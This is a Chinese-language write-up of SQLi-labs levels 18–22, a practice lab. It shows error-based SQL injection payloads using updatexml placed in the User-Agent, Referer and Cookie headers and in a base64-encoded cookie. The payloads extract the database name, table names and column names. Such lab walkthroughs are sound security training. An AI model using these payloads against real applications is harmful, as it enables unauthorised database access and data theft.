SQLi-labs-Master less-18~22

166 阅读1分钟

less-18

第18关登陆错误提示ip地址,登陆成功则提示ip和user-agent。如果碰到账号登陆不成功,可以返回17关输入admin,admin重置账号密码,返回登陆即可,根据回显可初步判断回显位置在user-agent,可以从这个位置尝试注入 image.png 抓包,尝试闭合用报错回显'and updatexml(1,concat("!",(select database()),"!"),1) -- qw image.png 'and updatexml(1,concat("!",(select database()),"!"),1) -- qw报错 image.png 查询源代码发现后面还有两个参数,后面加两参数即可'and updatexml(1,concat("!",(select database()),"!"),1),1,1) -- qw image.png 成功爆出库名 image.png 爆表名1'and updatexml(1,concat("!",(select table_name from information_schema.tables where table_schema='security'limit 0,1),"!"),1),1,1) -- qw

image.png 爆数据1'and updatexml(1,concat("!",(select column_name from information_schema.columns where table_schema='security'and table_name='emails'limit 0,1),"!"),1),1,1) -- qw

image.png

less-19

与上关同理,注入点改变user-agent变成referer,方法一样 image.png

less-20

可以看出有多个回显位置,可以多次尝试,此处回显位置为cookie image.png 抓包,尝试闭合用报错回显'and updatexml(1,concat("!",(select database()),"!"),1) -- qw image.png 后续操作同上

less-21

与上关对比,uname处进行了编码,此处解码可得admin,所以将之前的语句编码代入后即可 image.png

admin' and updatexml(1,concat("!",(select database()),"!"),1) -- qw编码后发现没有成功,这是因为 -- qwe注释出现问题,编码后无法注释 image.png 无法使用--等特殊符号注释admin' and updatexml(1,concat("!",(select database()),"!"),1) and '1'='1

代入源代码 SELECT * FROM users WHERE username=('admin' and updatexml(1,concat("!",(select database()),"!"),1) and '1'='1') LIMIT 0,1" image.png

编码代入,成功 image.png 后续同上

less-22

同上关同理但闭合不同,admin" and updatexml(1,concat("!",(select database()),"!"),1) and "1"="1